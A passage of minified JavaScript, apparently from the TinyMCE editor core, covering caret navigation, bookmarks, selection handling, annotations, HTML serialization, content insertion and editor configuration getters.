e.offset()===t.data.length}return Ha(e.getNode(!0))},ec=function(e,t){return!_u.isTextPosition(e)&&!_u.isTextPosition(t)&&e.getNode()===t.getNode(!0)},tc=function(e,t,n){return e?!ec(t,n)&&(r=t,!(!_u.isTextPosition(r)&&jo.isBr(r.getNode())))&&Zs(t)&&Qs(n):!ec(n,t)&&Qs(t)&&Zs(n);var r},nc=function(e,t,n){var r=Js(t);return _.from(e?r.next(n):r.prev(n))},rc=function(t,n,r){return nc(t,n,r).bind(function(e){return Ts(r,e,n)&&tc(t,r,e)?nc(t,n,e):_.some(e)})},oc=function(t,n,e,r){return rc(t,n,e).bind(function(e){return r(e)?oc(t,n,e,r):_.some(e)})},ic=function(e,t){var n,r,o,i,a,u=e?t.firstChild:t.lastChild;return jo.isText(u)?_.some(_u(u,e?0:u.data.length)):u?Ha(u)?_.some(e?_u.before(u):(a=u,jo.isBr(a)?_u.before(a):_u.after(a))):(r=t,o=u,i=(n=e)?_u.before(o):_u.after(o),nc(n,r,i)):_.none()},ac=d(nc,!0),uc=d(nc,!1),sc={fromPosition:nc,nextPosition:ac,prevPosition:uc,navigate:rc,navigateIgnore:oc,positionIn:ic,firstPositionIn:d(ic,!0),lastPositionIn:d(ic,!1)},cc=function(e,t){return jo.isElement(t)&&e.isBlock(t)&&!t.innerHTML&&!fe.ie&&(t.innerHTML='<br data-mce-bogus="1" />'),t},lc=function(e,t){return sc.lastPositionIn(e).fold(function(){return!1},function(e){return t.setStart(e.container(),e.offset()),t.setEnd(e.container(),e.offset()),!0})},fc=function(e,t,n){return!(!1!==t.hasChildNodes()||!Qu(e,t)||(o=n,i=(r=t).ownerDocument.createTextNode(xa),r.appendChild(i),o.setStart(i,0),o.setEnd(i,0),0));var r,o,i},dc=function(e,t,n,r){var o,i,a,u,s=n[t?"start":"end"],c=e.getRoot();if(s){for(a=s[0],i=c,o=s.length-1;1<=o;o--){if(u=i.childNodes,fc(c,i,r))return!0;if(s[o]>u.length-1)return!!fc(c,i,r)||lc(i,r);i=u[s[o]]}3===i.nodeType&&(a=Math.min(s[0],i.nodeValue.length)),1===i.nodeType&&(a=Math.min(s[0],i.childNodes.length)),t?r.setStart(i,a):r.setEnd(i,a)}return!0},mc=function(e){return jo.isText(e)&&0<e.data.length},gc=function(e,t,n){var r,o,i,a,u,s,c=e.get(n.id+"_"+t),l=n.keep;if(c){if(r=c.parentNode,"start"===t?l?c.hasChildNodes()?(r=c.firstChild,o=1):mc(c.nextSibling)?(r=c.nextSibling,o=0):mc(c.previousSibling)?(r=c.previousSibling,o=c.previousSibling.data.length):(r=c.parentNode,o=e.nodeIndex(c)+1):o=e.nodeIndex(c):l?c.hasChildNodes()?(r=c.firstChild,o=1):mc(c.previousSibling)?(r=c.previousSibling,o=c.previousSibling.data.length):(r=c.parentNode,o=e.nodeIndex(c)):o=e.nodeIndex(c),u=r,s=o,!l){for(a=c.previousSibling,i=c.nextSibling,Xt.each(Xt.grep(c.childNodes),function(e){jo.isText(e)&&(e.nodeValue=e.nodeValue.replace(/\uFEFF/g,""))});c=e.get(n.id+"_"+t);)e.remove(c,!0);a&&i&&a.nodeType===i.nodeType&&jo.isText(a)&&!fe.opera&&(o=a.nodeValue.length,a.appendData(i.nodeValue),e.remove(i),u=a,s=o)}return _.some(_u(u,s))}return _.none()},pc=function(e,t){var n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,y=e.dom;if(t){if(v=t,Xt.isArray(v.start))return p=t,h=(g=y).createRng(),dc(g,!0,p,h)&&dc(g,!1,p,h)?_.some(h):_.none();if("string"==typeof t.start)return _.some((f=t,d=(l=y).createRng(),m=Fu(l.getRoot(),f.start),d.setStart(m.container(),m.offset()),m=Fu(l.getRoot(),f.end),d.setEnd(m.container(),m.offset()),d));if(t.hasOwnProperty("id"))return s=gc(o=y,"start",i=t),c=gc(o,"end",i),ru(s,(u=s,(a=c).isSome()?a:u),function(e,t){var n=o.createRng();return n.setStart(cc(o,e.container()),e.offset()),n.setEnd(cc(o,t.container()),t.offset()),n});if(t.hasOwnProperty("name"))return n=y,r=t,_.from(n.select(r.name)[r.index]).map(function(e){var t=n.createRng();return t.selectNode(e),t});if(t.hasOwnProperty("rng"))return _.some(t.rng)}return _.none()},hc=function(e,t,n){return Yu.getBookmark(e,t,n)},vc=function(t,e){pc(t,e).each(function(e){t.setRng(e)})},yc=function(e){return jo.isElement(e)&&"SPAN"===e.tagName&&"bookmark"===e.getAttribute("data-mce-type")},bc=function(e){return e&&/^(IMG)$/.test(e.nodeName)},Cc=function(e){return e&&3===e.nodeType&&/^([\t \r\n]+|)$/.test(e.nodeValue)},xc=function(e,t,n){return"color"!==n&&"backgroundColor"!==n||(t=e.toHex(t)),"fontWeight"===n&&700===t&&(t="bold"),"fontFamily"===n&&(t=t.replace(/[\'\"]/g,"").replace(/,\s+/g,",")),""+t},wc={isInlineBlock:bc,moveStart:function(e,t,n){var r,o,i,a=n.startOffset,u=n.startContainer;if((n.startContainer!==n.endContainer||!bc(n.startContainer.childNodes[n.startOffset]))&&1===u.nodeType)for(a<(i=u.childNodes).length?r=new go(u=i[a],e.getParent(u,e.isBlock)):(r=new go(u=i[i.length-1],e.getParent(u,e.isBlock))).next(!0),o=r.current();o;o=r.next())if(3===o.nodeType&&!Cc(o))return n.setStart(o,0),void t.setRng(n)},getNonWhiteSpaceSibling:function(e,t,n){if(e)for(t=t?"nextSibling":"previousSibling",e=n?e:e[t];e;e=e[t])if(1===e.nodeType||!Cc(e))return e},isTextBlock:function(e,t){return t.nodeType&&(t=t.nodeName),!!e.schema.getTextBlockElements()[t.toLowerCase()]},isValid:function(e,t,n){return e.schema.isValidChild(t,n)},isWhiteSpaceNode:Cc,replaceVars:function(e,n){return"string"!=typeof e?e=e(n):n&&(e=e.replace(/%(\w+)/g,function(e,t){return n[t]||e})),e},isEq:function(e,t){return t=t||"",e=""+((e=e||"").nodeName||e),t=""+(t.nodeName||t),e.toLowerCase()===t.toLowerCase()},normalizeStyleValue:xc,getStyle:function(e,t,n){return xc(e,e.getStyle(t,n),n)},getTextDecoration:function(t,e){var n;return t.getParent(e,function(e){return(n=t.getStyle(e,"text-decoration"))&&"none"!==n}),n},getParents:function(e,t,n){return e.getParents(t,n,e.getRoot())}},Nc=yc,Ec=wc.getParents,Sc=wc.isWhiteSpaceNode,Tc=wc.isTextBlock,kc=function(e,t){for(void 0===t&&(t=3===e.nodeType?e.length:e.childNodes.length);e&&e.hasChildNodes();)(e=e.childNodes[t])&&(t=3===e.nodeType?e.length:e.childNodes.length);return{node:e,offset:t}},_c=function(e,t){for(var n=t;n;){if(1===n.nodeType&&e.getContentEditable(n))return"false"===e.getContentEditable(n)?n:t;n=n.parentNode}return t},Ac=function(e,t,n,r){var o,i,a=n.nodeValue;return void 0===r&&(r=e?a.length:0),e?(o=a.lastIndexOf(" ",r),-1!==(o=(i=a.lastIndexOf("\xa0",r))<o?o:i)&&!t&&(o<r||!e)&&o<=a.length&&o++):(o=a.indexOf(" ",r),i=a.indexOf("\xa0",r),o=-1!==o&&(-1===i||o<i)?o:i),o},Rc=function(e,t,n,r,o,i){var a,u,s,c;if(3===n.nodeType){if(-1!==(s=Ac(o,i,n,r)))return{container:n,offset:s};c=n}for(a=new go(n,e.getParent(n,e.isBlock)||t);u=a[o?"prev":"next"]();)if(3!==u.nodeType||Nc(u.parentNode)){if(e.isBlock(u)||wc.isEq(u,"BR"))break}else if(-1!==(s=Ac(o,i,c=u)))return{container:u,offset:s};if(c)return{container:c,offset:r=o?0:c.length}},Dc=function(e,t,n,r,o){var i,a,u,s;for(3===r.nodeType&&0===r.nodeValue.length&&r[o]&&(r=r[o]),i=Ec(e,r),a=0;a<i.length;a++)for(u=0;u<t.length;u++)if(!("collapsed"in(s=t[u])&&s.collapsed!==n.collapsed)&&e.is(i[a],s.selector))return i[a];return r},Oc=function(t,e,n,r){var o,i=t.dom,a=i.getRoot();if(e[0].wrapper||(o=i.getParent(n,e[0].block,a)),!o){var u=i.getParent(n,"LI,TD,TH");o=i.getParent(3===n.nodeType?n.parentNode:n,function(e){return e!==a&&Tc(t,e)},u)}if(o&&e[0].wrapper&&(o=Ec(i,o,"ul,ol").reverse()[0]||o),!o)for(o=n;o[r]&&!i.isBlock(o[r])&&(o=o[r],!wc.isEq(o,"br")););return o||n},Bc=function(e,t,n,r,o,i,a){var u,s,c,l,f,d;if(u=s=a?n:o,l=a?"previousSibling":"nextSibling",f=e.getRoot(),3===u.nodeType&&!Sc(u)&&(a?0<r:i<u.nodeValue.length))return u;for(;;){if(!t[0].block_expand&&e.isBlock(s))return s;for(c=s[l];c;c=c[l])if(!Nc(c)&&!Sc(c)&&("BR"!==(d=c).nodeName||!d.getAttribute("data-mce-bogus")||d.nextSibling))return s;if(s===f||s.parentNode===f){u=s;break}s=s.parentNode}return u},Pc=function(e,t,n,r){var o,i=t.startContainer,a=t.startOffset,u=t.endContainer,s=t.endOffset,c=e.dom;return 1===i.nodeType&&i.hasChildNodes()&&3===(i=eu(i,a)).nodeType&&(a=0),1===u.nodeType&&u.hasChildNodes()&&3===(u=eu(u,t.collapsed?s:s-1)).nodeType&&(s=u.nodeValue.length),i=_c(c,i),u=_c(c,u),(Nc(i.parentNode)||Nc(i))&&(i=Nc(i)?i:i.parentNode,3===(i=t.collapsed?i.previousSibling||i:i.nextSibling||i).nodeType&&(a=t.collapsed?i.length:0)),(Nc(u.parentNode)||Nc(u))&&(u=Nc(u)?u:u.parentNode,3===(u=t.collapsed?u.nextSibling||u:u.previousSibling||u).nodeType&&(s=t.collapsed?0:u.length)),t.collapsed&&((o=Rc(c,e.getBody(),i,a,!0,r))&&(i=o.container,a=o.offset),(o=Rc(c,e.getBody(),u,s,!1,r))&&(u=o.container,s=o.offset)),n[0].inline&&(u=r?u:function(e,t){var n=kc(e,t);if(n.node){for(;n.node&&0===n.offset&&n.node.previousSibling;)n=kc(n.node.previousSibling);n.node&&0<n.offset&&3===n.node.nodeType&&" "===n.node.nodeValue.charAt(n.offset-1)&&1<n.offset&&(e=n.node).splitText(n.offset-1)}return e}(u,s)),(n[0].inline||n[0].block_expand)&&(n[0].inline&&3===i.nodeType&&0!==a||(i=Bc(c,n,i,a,u,s,!0)),n[0].inline&&3===u.nodeType&&s!==u.nodeValue.length||(u=Bc(c,n,i,a,u,s,!1))),n[0].selector&&!1!==n[0].expand&&!n[0].inline&&(i=Dc(c,n,t,i,"previousSibling"),u=Dc(c,n,t,u,"nextSibling")),(n[0].block||n[0].selector)&&(i=Oc(e,n,i,"previousSibling"),u=Oc(e,n,u,"nextSibling"),n[0].block&&(c.isBlock(i)||(i=Bc(c,n,i,a,u,s,!0)),c.isBlock(u)||(u=Bc(c,n,i,a,u,s,!1)))),1===i.nodeType&&(a=c.nodeIndex(i),i=i.parentNode),1===u.nodeType&&(s=c.nodeIndex(u)+1,u=u.parentNode),{startContainer:i,startOffset:a,endContainer:u,endOffset:s}},Ic=Xt.each,Lc=function(e,t,o){var n,r,i,a,u,s,c,l=t.startContainer,f=t.startOffset,d=t.endContainer,m=t.endOffset;if(0<(c=e.select("td[data-mce-selected],th[data-mce-selected]")).length)Ic(c,function(e){o([e])});else{var g,p,h,v=function(e){var t;return 3===(t=e[0]).nodeType&&t===l&&f>=t.nodeValue.length&&e.splice(0,1),t=e[e.length-1],0===m&&0<e.length&&t===d&&3===t.nodeType&&e.splice(e.length-1,1),e},y=function(e,t,n){for(var r=[];e&&e!==n;e=e[t])r.push(e);return r},b=function(e,t){do{if(e.parentNode===t)return e;e=e.parentNode}while(e)},C=function(e,t,n){var r=n?"nextSibling":"previousSibling";for(u=(a=e).parentNode;a&&a!==t;a=u)u=a.parentNode,(s=y(a===e?a:a[r],r)).length&&(n||s.reverse(),o(v(s)))};if(1===l.nodeType&&l.hasChildNodes()&&(l=l.childNodes[f]),1===d.nodeType&&d.hasChildNodes()&&(p=m,h=(g=d).childNodes,--p>h.length-1?p=h.length-1:p<0&&(p=0),d=h[p]||g),l===d)return o(v([l]));for(n=e.findCommonAncestor(l,d),a=l;a;a=a.parentNode){if(a===d)return C(l,n,!0);if(a===n)break}for(a=d;a;a=a.parentNode){if(a===l)return C(d,n);if(a===n)break}r=b(l,n)||l,i=b(d,n)||d,C(l,r,!0),(s=y(r===l?r:r.nextSibling,"nextSibling",i===d?i.nextSibling:i)).length&&o(v(s)),C(d,i)}},Fc=(Ms=mr,zs="text",{get:function(e){if(!Ms(e))throw new Error("Can only get "+zs+" value of a "+zs+" node");return Us(e).getOr("")},getOption:Us=function(e){return Ms(e)?_.from(e.dom().nodeValue):_.none()},set:function(e,t){if(!Ms(e))throw new Error("Can only set raw "+zs+" value of a "+zs+" node");e.dom().nodeValue=t}}),Mc=function(e){return Fc.get(e)},zc=function(r,o,i,a){return Vr(o).fold(function(){return"skipping"},function(e){return"br"===a||mr(n=o)&&"\ufeff"===Mc(n)?"valid":dr(t=o)&&Gi(t,aa())?"existing":Ju(o)?"caret":wc.isValid(r,i,a)&&wc.isValid(r,lr(e),i)?"valid":"invalid-child";var t,n})},Uc=function(e,t,n,r){var o,i,a=t.uid,u=void 0===a?(o="mce-annotation",i=(new Date).getTime(),o+"_"+Math.floor(1e9*Math.random())+ ++ga+String(i)):a,s=function(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var o=0;for(r=Object.getOwnPropertySymbols(e);o<r.length;o++)t.indexOf(r[o])<0&&Object.prototype.propertyIsEnumerable.call(e,r[o])&&(n[r[o]]=e[r[o]])}return n}(t,["uid"]),c=ar.fromTag("span",e);Xi(c,aa()),wr(c,""+sa(),u),wr(c,""+ua(),n);var l,f=r(u,s),d=f.attributes,m=void 0===d?{}:d,g=f.classes,p=void 0===g?[]:g;return Nr(c,m),l=c,z(p,function(e){Xi(l,e)}),c},jc=function(i,e,t,n,r){var a=[],u=Uc(i.getDoc(),r,t,n),s=Hi(_.none()),c=function(){s.set(_.none())},l=function(e){z(e,o)},o=function(e){var t,n;switch(zc(i,e,"span",lr(e))){case"invalid-child":c();var r=Kr(e);l(r),c();break;case"valid":var o=s.get().getOrThunk(function(){var e=ha(u);return a.push(e),s.set(_.some(e)),e});Pi(t=e,n=o),Fi(n,t)}};return Lc(i.dom,e,function(e){var t;c(),t=W(e,ar.fromDom),l(t)}),a},Vc=function(s,c,l,f){s.undoManager.transact(function(){var e,t,n,r,o=s.selection.getRng();if(o.collapsed&&(r=Pc(e=s,t=o,[{inline:!0}],3===(n=t).startContainer.nodeType&&n.startContainer.nodeValue.length>=n.startOffset&&"\xa0"===n.startContainer.nodeValue[n.startOffset]),t.setStart(r.startContainer,r.startOffset),t.setEnd(r.endContainer,r.endOffset),e.selection.setRng(t)),s.selection.getRng().collapsed){var i=Uc(s.getDoc(),f,c,l.decorate);ya(i,"\xa0"),s.selection.getRng().insertNode(i.dom()),s.selection.select(i.dom())}else{var a=Yu.getPersistentBookmark(s.selection,!1),u=s.selection.getRng();jc(s,u,c,l.decorate,f),s.selection.moveToBookmark(a)}})};function Hc(s){var n,r=(n={},{register:function(e,t){n[e]={name:e,settings:t}},lookup:function(e){return n.hasOwnProperty(e)?_.from(n[e]).map(function(e){return e.settings}):_.none()}});da(s,r);var o=fa(s);return{register:function(e,t){r.register(e,t)},annotate:function(t,n){r.lookup(t).each(function(e){Vc(s,t,e,n)})},annotationChanged:function(e,t){o.addListener(e,t)},remove:function(e){ca(s,_.some(e)).each(function(e){var t=e.elements;z(t,ji)})},getAll:function(e){var t,n,r,o,i,a,u=(t=s,n=e,r=ar.fromDom(t.getBody()),o=Qi(r,"["+ua()+'="'+n+'"]'),i={},z(o,function(e){var t=Er(e,sa()),n=i.hasOwnProperty(t)?i[t]:[];i[t]=n.concat([e])}),i);return a=function(e){return W(e,function(e){return e.dom()})},vr(u,function(e,t){return{k:t,v:a(e,t)}})}}}var qc=function(e){return Xt.grep(e.childNodes,function(e){return"LI"===e.nodeName})},$c=function(e){return e&&e.firstChild&&e.firstChild===e.lastChild&&("\xa0"===(t=e.firstChild).data||jo.isBr(t));var t},Wc=function(e){return 0<e.length&&(!(t=e[e.length-1]).firstChild||$c(t))?e.slice(0,-1):e;var t},Kc=function(e,t){var n=e.getParent(t,e.isBlock);return n&&"LI"===n.nodeName?n:null},Xc=function(e,t){var n=_u.after(e),r=Js(t).prev(n);return r?r.toRange():null},Yc=function(t,e,n){var r,o,i,a,u=t.parentNode;return Xt.each(e,function(e){u.insertBefore(e,t)}),r=t,o=n,i=_u.before(r),(a=Js(o).next(i))?a.toRange():null},Gc=function(e,t){var n,r,o,i,a,u,s=t.firstChild,c=t.lastChild;return s&&"meta"===s.name&&(s=s.next),c&&"mce_marker"===c.attr("id")&&(c=c.prev),r=c,u=(n=e).getNonEmptyElements(),r&&(r.isEmpty(u)||(o=r,n.getBlockElements()[o.name]&&(a=o).firstChild&&a.firstChild===a.lastChild&&("br"===(i=o.firstChild).name||"\xa0"===i.value)))&&(c=c.prev),!(!s||s!==c||"ul"!==s.name&&"ol"!==s.name)},Jc=function(e,o,i,t){var n,r,a,u,s,c,l,f,d,m,g,p,h,v,y,b,C,x,w,N=(n=o,r=t,c=e.serialize(r),l=n.createFragment(c),u=(a=l).firstChild,s=a.lastChild,u&&"META"===u.nodeName&&u.parentNode.removeChild(u),s&&"mce_marker"===s.id&&s.parentNode.removeChild(s),a),E=Kc(o,i.startContainer),S=Wc(qc(N.firstChild)),T=o.getRoot(),k=function(e){var t=_u.fromRangeStart(i),n=Js(o.getRoot()),r=1===e?n.prev(t):n.next(t);return!r||Kc(o,r.getNode())!==E};return k(1)?Yc(E,S,T):k(2)?(f=E,d=S,m=T,o.insertAfter(d.reverse(),f),Xc(d[0],m)):(p=S,h=T,v=g=E,b=(y=i).cloneRange(),C=y.cloneRange(),b.setStartBefore(v),C.setEndAfter(v),x=[b.cloneContents(),C.cloneContents()],(w=g.parentNode).insertBefore(x[0],g),Xt.each(p,function(e){w.insertBefore(e,g)}),w.insertBefore(x[1],g),w.removeChild(g),Xc(p[p.length-1],h))},Qc=function(e,t){return!!Kc(e,t)},Zc=Xt.each,el=function(o){this.compare=function(e,t){if(e.nodeName!==t.nodeName)return!1;var n=function(n){var r={};return Zc(o.getAttribs(n),function(e){var t=e.nodeName.toLowerCase();0!==t.indexOf("_")&&"style"!==t&&0!==t.indexOf("data-")&&(r[t]=o.getAttrib(n,t))}),r},r=function(e,t){var n,r;for(r in e)if(e.hasOwnProperty(r)){if(void 0===(n=t[r]))return!1;if(e[r]!==n)return!1;delete t[r]}for(r in t)if(t.hasOwnProperty(r))return!1;return!0};return!(!r(n(e),n(t))||!r(o.parseStyle(o.getAttrib(e,"style")),o.parseStyle(o.getAttrib(t,"style")))||yc(e)||yc(t))}},tl=function(e){var t=Qi(e,"br"),n=U(function(e){for(var t=[],n=e.dom();n;)t.push(ar.fromDom(n)),n=n.lastChild;return t}(e).slice(-1),wo);t.length===n.length&&z(n,Ui)},nl=function(e){zi(e),Fi(e,ar.fromHtml('<br data-mce-bogus="1">'))},rl=function(n){Gr(n).each(function(t){Hr(t).each(function(e){Co(n)&&wo(t)&&Co(e)&&Ui(t)})})},ol=Xt.makeMap;function il(e){var u,s,c,l,f,d=[];return u=(e=e||{}).indent,s=ol(e.indent_before||""),c=ol(e.indent_after||""),l=ti.getEncodeFunc(e.entity_encoding||"raw",e.entities),f="html"===e.element_format,{start:function(e,t,n){var r,o,i,a;if(u&&s[e]&&0<d.length&&0<(a=d[d.length-1]).length&&"\n"!==a&&d.push("\n"),d.push("<",e),t)for(r=0,o=t.length;r<o;r++)i=t[r],d.push(" ",i.name,'="',l(i.value,!0),'"');d[d.length]=!n||f?">":" />",n&&u&&c[e]&&0<d.length&&0<(a=d[d.length-1]).length&&"\n"!==a&&d.push("\n")},end:function(e){var t;d.push("</",e,">"),u&&c[e]&&0<d.length&&0<(t=d[d.length-1]).length&&"\n"!==t&&d.push("\n")},text:function(e,t){0<e.length&&(d[d.length]=t?e:l(e))},cdata:function(e){d.push("<![CDATA[",e,"]]>")},comment:function(e){d.push("\x3c!--",e,"--\x3e")},pi:function(e,t){t?d.push("<?",e," ",l(t),"?>"):d.push("<?",e,"?>"),u&&d.push("\n")},doctype:function(e){d.push("<!DOCTYPE",e,">",u?"\n":"")},reset:function(){d.length=0},getContent:function(){return d.join("").replace(/\n$/,"")}}}function al(t,g){void 0===g&&(g=di());var p=il(t);return(t=t||{}).validate=!("validate"in t)||t.validate,{serialize:function(e){var f,d;d=t.validate,f={3:function(e){p.text(e.value,e.raw)},8:function(e){p.comment(e.value)},7:function(e){p.pi(e.name,e.value)},10:function(e){p.doctype(e.value)},4:function(e){p.cdata(e.value)},11:function(e){if(e=e.firstChild)for(;m(e),e=e.next;);}},p.reset();var m=function(e){var t,n,r,o,i,a,u,s,c,l=f[e.type];if(l)l(e);else{if(t=e.name,n=e.shortEnded,r=e.attributes,d&&r&&1<r.length&&((a=[]).map={},c=g.getElementRule(e.name))){for(u=0,s=c.attributesOrder.length;u<s;u++)(o=c.attributesOrder[u])in r.map&&(i=r.map[o],a.map[o]=i,a.push({name:o,value:i}));for(u=0,s=r.length;u<s;u++)(o=r[u].name)in a.map||(i=r.map[o],a.map[o]=i,a.push({name:o,value:i}));r=a}if(p.start(e.name,r,n),!n){if(e=e.firstChild)for(;m(e),e=e.next;);p.end(t)}}};return 1!==e.type||t.inner?f[11](e):m(e),p.getContent()}}}var ul,sl=function(a){var u=_u.fromRangeStart(a),s=_u.fromRangeEnd(a),c=a.commonAncestorContainer;return sc.fromPosition(!1,c,s).map(function(e){return!Ts(u,s,c)&&Ts(u,e,c)?(t=u.container(),n=u.offset(),r=e.container(),o=e.offset(),(i=V.document.createRange()).setStart(t,n),i.setEnd(r,o),i):a;var t,n,r,o,i}).getOr(a)},cl=function(e){return e.collapsed?e:sl(e)},ll=jo.matchNodeNames("td th"),fl=function(e,t){var n,r,o=e.selection.getRng(),i=o.startContainer,a=o.startOffset;o.collapsed&&(n=i,r=a,jo.isText(n)&&"\xa0"===n.nodeValue[r-1])&&jo.isText(i)&&(i.insertData(a-1," "),i.deleteData(a,1),o.setStart(i,a),o.setEnd(i,a),e.selection.setRng(o)),e.selection.setContent(t)},dl=function(e,t,n){var r,o,i,a,u,s,c,l,f,d,m,g=e.selection,p=e.dom;if(/^ | $/.test(t)&&(t=function(e,t){var n,r;n=e.startContainer,r=e.startOffset;var o=function(e){return n[e]&&3===n[e].nodeType};return 3===n.nodeType&&(0<r?t=t.replace(/^ /," "):o("previousSibling")||(t=t.replace(/^ /," ")),r<n.length?t=t.replace(/ (<br>|)$/," "):o("nextSibling")||(t=t.replace(/( | )(<br>|)$/," "))),t}(g.getRng(),t)),r=e.parser,m=n.merge,o=al({validate:e.settings.validate},e.schema),d='<span id="mce_marker" data-mce-type="bookmark">​</span>',s={content:t,format:"html",selection:!0,paste:n.paste},(s=e.fire("BeforeSetContent",s)).isDefaultPrevented())e.fire("SetContent",{content:s.content,format:"html",selection:!0,paste:n.paste});else{-1===(t=s.content).indexOf("{$caret}")&&(t+="{$caret}"),t=t.replace(/\{\$caret\}/,d);var h,v,y,b,C,x,w=(l=g.getRng()).startContainer||(l.parentElement?l.parentElement():null),N=e.getBody();w===N&&g.isCollapsed()&&p.isBlock(N.firstChild)&&(h=e,(v=N.firstChild)&&!h.schema.getShortEndedElements()[v.nodeName])&&p.isEmpty(N.firstChild)&&((l=p.createRng()).setStart(N.firstChild,0),l.setEnd(N.firstChild,0),g.setRng(l)),g.isCollapsed()||(e.selection.setRng(cl(e.selection.getRng())),e.getDoc().execCommand("Delete",!1,null),y=e.selection.getRng(),b=t,C=y.startContainer,x=y.startOffset,3===C.nodeType&&y.collapsed&&("\xa0"===C.data[x]?(C.deleteData(x,1),/[\u00a0| ]$/.test(b)||(b+=" ")):"\xa0"===C.data[x-1]&&(C.deleteData(x-1,1),/[\u00a0| ]$/.test(b)||(b=" "+b))),t=b);var E,S,T,k={context:(i=g.getNode()).nodeName.toLowerCase(),data:n.data,insert:!0};if(u=r.parse(t,k),!0===n.paste&&Gc(e.schema,u)&&Qc(p,i))return l=Jc(o,p,e.selection.getRng(),u),e.selection.setRng(l),void e.fire("SetContent",s);if(function(e){for(var t=e;t=t.walk();)1===t.type&&t.attr("data-mce-fragment","1")}(u),"mce_marker"===(f=u.lastChild).attr("id"))for(f=(c=f).prev;f;f=f.walk(!0))if(3===f.type||!p.isBlock(f.name)){e.schema.isValidChild(f.parent.name,"span")&&f.parent.insert(c,f,"br"===f.name);break}if(e._selectionOverrides.showBlockCaretContainer(i),k.invalid){for(fl(e,d),i=g.getNode(),a=e.getBody(),9===i.nodeType?i=f=a:f=i;f!==a;)f=(i=f).parentNode;t=i===a?a.innerHTML:p.getOuterHTML(i),t=o.serialize(r.parse(t.replace(/<span (id="mce_marker"|id=mce_marker).+?<\/span>/i,function(){return o.serialize(u)}))),i===a?p.setHTML(a,t):p.setOuterHTML(i,t)}else!function(e,t,n){if("all"===n.getAttribute("data-mce-bogus"))n.parentNode.insertBefore(e.dom.createFragment(t),n);else{var r=n.firstChild,o=n.lastChild;!r||r===o&&"BR"===r.nodeName?e.dom.setHTML(n,t):fl(e,t)}}(e,t=o.serialize(u),i);!function(e,t){var n=e.schema.getTextInlineElements(),r=e.dom;if(t){var o=e.getBody(),i=new el(r);Xt.each(r.select("*[data-mce-fragment]"),function(e){for(var t=e.parentNode;t&&t!==o;t=t.parentNode)n[e.nodeName.toLowerCase()]&&i.compare(t,e)&&r.remove(e,!0)})}}(e,m),function(n,e){var t,r,o,i,a,u=n.dom,s=n.selection;if(e){if(n.selection.scrollIntoView(e),t=function(e){for(var t=n.getBody();e&&e!==t;e=e.parentNode)if("false"===n.dom.getContentEditable(e))return e;return null}(e))return u.remove(e),s.select(t);var c=u.createRng();(i=e.previousSibling)&&3===i.nodeType?(c.setStart(i,i.nodeValue.length),fe.ie||(a=e.nextSibling)&&3===a.nodeType&&(i.appendData(a.data),a.parentNode.removeChild(a))):(c.setStartBefore(e),c.setEndBefore(e)),r=u.getParent(e,u.isBlock),u.remove(e),r&&u.isEmpty(r)&&(n.$(r).empty(),c.setStart(r,0),c.setEnd(r,0),ll(r)||r.getAttribute("data-mce-fragment")||!(o=function(e){var t=_u.fromRangeStart(e);if(t=Js(n.getBody()).next(t))return t.toRange()}(c))?u.add(r,u.create("br",{"data-mce-bogus":"1"})):(c=o,u.remove(r))),s.setRng(c)}}(e,p.get("mce_marker")),E=e.getBody(),Xt.each(E.getElementsByTagName("*"),function(e){e.removeAttribute("data-mce-fragment")}),S=e.dom,T=e.selection.getStart(),_.from(S.getParent(T,"td,th")).map(ar.fromDom).each(rl),e.fire("SetContent",s),e.addVisual()}},ml=function(e,t){var n,r,o="string"!=typeof(n=t)?(r=Xt.extend({paste:n.paste,data:{paste:n.paste}},n),{content:n.content,details:r}):{content:n,details:{}};dl(e,o.content,o.details)},gl=/[\u0591-\u07FF\uFB1D-\uFDFF\uFE70-\uFEFC]/,pl=function(e,t,n){var r=e.getParam(t,n);if(-1!==r.indexOf("=")){var o=e.getParam(t,"","hash");return o.hasOwnProperty(e.id)?o[e.id]:n}return r},hl=function(e){return e.getParam("iframe_attrs",{})},vl=function(e){return e.getParam("doctype","<!DOCTYPE html>")},yl=function(e){return e.getParam("document_base_url","")},bl=function(e){return pl(e,"body_id","tinymce")},Cl=function(e){return pl(e,"body_class","")},xl=function(e){return e.getParam("content_security_policy","")},wl=function(e){return e.getParam("br_in_pre",!0)},Nl=function(e){if(e.getParam("force_p_newlines",!1))return"p";var t=e.getParam("forced_root_block","p");return!1===t?"":t},El=function(e){return e.getParam("forced_root_block_attrs",{})},Sl=function(e){return e.getParam("br_newline_selector",".mce-toc h2,figcaption,caption")},Tl=function(e){return e.getParam("no_newline_selector","")},kl=function(e){return e.getParam("keep_styles",!0)},_l=function(e){return e.getParam("end_container_on_empty_block",!1)},Al=function(e){return Xt.explode(e.getParam("font_size_style_values",""))},Rl=function(e){return Xt.explode(e.getParam("font_size_classes",""))},Dl=function(e){return e.getParam("images_dataimg_filter",q(!0),"function")},Ol=function(e){return e.getParam("automatic_uploads",!0,"boolean")},Bl=function(e){return e.getParam("images_reuse_filename",!1,"boolean")},Pl=function(e){return e.getParam("images_replace_blob_uris",!0,"boolean")},Il=function(e){return e.getParam("images_upload_url","","string")},Ll=function(e){return e.getParam("images_upload_base_path","","string")},Fl=function(e){return e.getParam("images_upload_credentials",!1,"boolean")},Ml=function(e){return e.getParam("images_upload_handler",null,"function")},zl=function(e){return e.getParam("content_css_cors",!1,"boolean")},Ul=function(e){return e.getParam("inline_boundaries_selector","a[href],code,.mce-annotation","string")},jl=function(e,t){if(!t)return t;var n=t.container(),r=t.offset();return e?Ta(n)?jo.isText(n.nextSibling)?_u(n.nextSibling,0):_u.after(n):Aa(t)?_u(n,r+1):t:Ta(n)?jo.isText(n.previousSibling)?_u(n.previousSibling,n.previousSibling.data.length):_u.before(n):Ra(t)?_u(n,r-1):t},Vl={isInlineTarget:function(e,t){return Lr(ar.fromDom(t),Ul(e))},findRootInline:function(e,t,n){var r,o,i,a=(r=e,o=t,i=n,U(Si.DOM.getParents(i.container(),"*",o),r));return _.from(a[a.length-1])},isRtl:function(e){return"rtl"===Si.DOM.getStyle(e,"direction",!0)||(t=e.textContent,gl.test(t));var t},isAtZwsp:function(e){return Aa(e)||Ra(e)},normalizePosition:jl,normalizeForwards:d(jl,!0),normalizeBackwards:d(jl,!1),hasSameParentBlock:function(e,t,n){var r=Ss(t,e),o=Ss(n,e);return 